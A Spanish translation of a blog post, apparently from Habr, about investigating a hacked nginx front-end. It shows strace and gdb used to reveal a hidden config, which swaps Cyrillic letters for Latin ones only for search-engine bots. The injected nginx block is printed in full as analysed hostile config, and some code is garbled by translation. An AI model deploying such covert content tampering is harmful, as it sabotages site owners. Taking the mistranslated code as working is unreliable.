Cuando ‘a’ no es igual a ‘a’. A raíz de un hackeo

Una historia muy desagradable le ocurrió a un conocido mío. Pero tanto como fue desagradable para Mikhail, fue entretenida para mí.

Debo decir que mi amigo es bastante competente. UNIX-usuario: puede instalar el sistema, configurar mysql, php y hacer los ajustes más sencillos. nginx.
Y tiene una docena y media de sitios dedicados a herramientas de construcción.

Uno de esos sitios, dedicado a motosierras, ocupa sólidamente las primeras posiciones en los motores de búsqueda. Este sitio es un análisis no comercial, pero a alguien le molesta y han comenzado a atacarlo. Ya sea DDoS, o ataques de fuerza bruta, o envían comentarios inapropiados y reportes a la hosting y al RKN.
De repente todo se calmó y este silencio no era algo bueno, ya que el sitio comenzó a caer gradualmente de las primeras posiciones.

Cuando 'a' no es igual a 'а'. A raíz de un hackeo

Eso era sólo una introducción, luego viene la historia administrativa.

La hora se acercaba para dormir cuando sonó el teléfono: ‘San, ¿puedes echar un vistazo a mi servidor? Creo que me han hackeado, no puedo probarlo, pero la sensación no me deja en paz desde hace tres semanas. Tal vez simplemente necesite tratar mi paranoia?’

Luego siguió una discusión de media hora que se puede resumir así:

  • el terreno para el hackeo era bastante fértil;
  • el hacker podía obtener derechos de superusuario;
  • el ataque (si es que tuvo lugar) fue dirigido específicamente a este sitio;
  • los lugares problemáticos han sido reparados y solo queda entender si hubo una intrusión;
  • el hackeo no pudo afectar el código del sitio ni las bases de datos.

Respecto al último punto.

Cuando 'a' no es igual a 'а'. A raíz de un hackeo

En el mundo solo se ve la IP blanca del front-end. Entre los backend y el front-end no hay intercambio alguno excepto http(s), los usuarios/contraseñas son diferentes, no hubo intercambio de claves. En las direcciones grises, todos los puertos excepto 80/443 están cerrados. Las IP blancas de los backends son conocidas solo por dos usuarios, a quienes Mikhail confía plenamente.

En el front-end está instalada Debian 9 y en el momento de la llamada, el sistema estaba aislado del mundo por un firewall externo y detenido.

‘Ok, dame los accesos,' decido posponer el sueño por una hora. 'Miraré con mis propios ojos.’

Aquí y en adelante:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

En busca de un posible hackeo

Inicio el servidor, primero en modo-rescate.Monto los discos, paso a revisar auth-los logs, history, los registros del sistema, etc., compruebo las fechas de creación de los archivos cuando es posible, aunque entiendo que un hacker normal habría "b barrido" todo detrás de sí, y Misha ya ha dejado su estela mientras buscaba.

Empiezo en modo normal, sin entender bien qué buscar, revisando las configuraciones. Lo que más me interesa es nginx ya que, en general, no hay nada más en el frontend.
Las configuraciones son pequeñas, bien estructuradas en una decena de archivos, las reviso simplemente cat’una por una. Parece que todo está limpio, pero no sé si he pasado por alto algo. include, voy a hacer una lista completa:

$ nginx -T
nginx: el archivo de configuración /usr/local/etc/nginx/nginx.conf tiene la sintaxis correcta
nginx: la prueba del archivo de configuración /usr/local/etc/nginx/nginx.conf fue exitosa

No entendí: "¿Dónde está el listado?"

$ nginx -V
versión de nginx: nginx/1.10.3
Soporte de TLS SNI habilitado
argumentos de configuración: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

En cuestión del listado se añade otro: "¿Por qué una versión de nginx tan antigua?"

Además, el sistema considera que la versión instalada es más reciente:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          servidor web/proxy pequeño, potente y escalable

Llamo:
— Misha, ¿por qué recompilaste? nginx?
— ¡Despierta, ni siquiera sé cómo hacerlo!
— Ok, bueno, duerme…

Nginx definitivamente recompilado y la salida del listado por "-T" está oculta por una razón. Ya no hay dudas de un hackeo y se puede simplemente aceptar esto y (ya que Misha reemplazó el servidor por uno nuevo) considerar el problema resuelto.

Y de hecho, ya que alguien obtuvo acceso rootel sentido tiene hacer solo system reinstall, buscar lo que se hizo no tiene sentido, pero esta vez la curiosidad venció al sueño. ¿Cómo saber qué querían ocultarnos?

Intentemos rastrear:

$ strace nginx -T

Revisamos, en el rastreo claramente faltan líneas como

write(1, "/etc/nginx/nginx.conf", 21)/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Por curiosidad comparamos las salidas

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Creo que parte del código /src/core/nginx.c

            caso 't':
                ngx_test_config = 1;
                romper;

            caso 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                romper;

se transformó en:

            caso 't':
                ngx_test_config = 1;
                romper;

            caso 'T':
                ngx_test_config = 1;
                
                romper;

o

            caso 't':
                ngx_test_config = 1;
                romper;

            caso 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                romper;

por lo tanto, la lista para "-T" no se muestra.

Pero, ¿cómo podemos ver nuestra configuración?

Si mi idea es correcta y el problema está solo en la variable ngx_dump_config intentemos establecerla utilizando gdb, gracias a la opción --with-cc-opt -g está presente y esperamos que la optimización -O2 no nos perjudique. Además, como no sé cómo ngx_dump_config podría ser manejada en caso 'T':, no llamaremos a este bloque, sino que la estableceremos usando caso 't':

¿Por qué se puede usar '-t' junto con '-T'?Manejo del bloque if(ngx_dump_config) ocurre dentro de if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "el archivo de configuración %s test es exitoso",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            para (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# archivo de configuración ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Por supuesto, si el código se modifica en esta parte, y no en caso 'T':, entonces mi método no será adecuado.

nginx.conf de pruebaYa resolviendo el problema por ensayo y error, se estableció que para que el malware funcione, se necesita una configuración mínima nginx de esta forma:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Este lo utilizaremos por brevedad en el artículo.

Lanzamos el depurador

$ gdb --silent --args nginx -t
Leyendo símbolos de nginx...hecho.
(gdb) break main
Punto de interrupción 1 en 0x1f390: archivo src/core/nginx.c, línea 188.
(gdb) run
Iniciando programa: nginx -t
[Depuración de hilo utilizando libthread_db habilitada]
Utilizando la biblioteca de host libthread_db "/lib/x86_64-linux-gnu/libthread_db.so.1".

Punto de interrupción 1, main (argc=2, argv=0x7fffffffebc8) en src/core/nginx.c:188
188     src/core/nginx.c: No existe tal archivo o directorio.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuando.
nginx: el archivo de configuración /etc/nginx/nginx.conf tiene una sintaxis correcta
nginx: la prueba del archivo de configuración /etc/nginx/nginx.conf fue exitosa
# archivo de configuración /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# archivo de configuración /etc/nginx/sites-enabled/default:

[Inferior 1 (proceso 32581) salió normalmente]
(gdb) quit

Pasos:

  • establecemos un punto de interrupción en la función main()
  • iniciamos el programa
  • modificamos el valor de la variable que determina la salida de la configuración ngx_dump_config=1
  • continuamos/terminamos el programa

Como vemos, la configuración real difiere de la nuestra, extraemos un fragmento parásito de ella:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Veamos en orden qué está ocurriendo aquí.

Se determinan User-Agent‘ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Se excluyen las páginas de servicio wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Y para aquellos que cumplen con ambas condiciones anteriores

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

en el texto html-páginas se modifica ‘о’ en ‘o’ y ‘а’ en ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Exactamente así, la sutileza radica en que ‘а’ != ‘a’ así como ‘о’ != ‘o’:

Cuando 'a' no es igual a 'а'. A raíz de un hackeo

De este modo, los bots de motores de búsqueda obtienen en lugar de un texto 100% en cirílico modificado, basura mezclada con caracteres latinos ‘a’ y ‘o’. No me atrevo a especular sobre cómo esto afecta al SEO, pero dudo que tal mezcla de letras impacte positivamente en las posiciones de los resultados.

Qué puedo decir, chicos con imaginación.

Enlaces

Depuración con GDB
gdb(1) — página man de Linux
strace(1) — página man de Linux
Nginx — Módulo ngx_http_sub_module
Sobre sierras, motosierras y sierras eléctricas

Fuente: habr.com

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster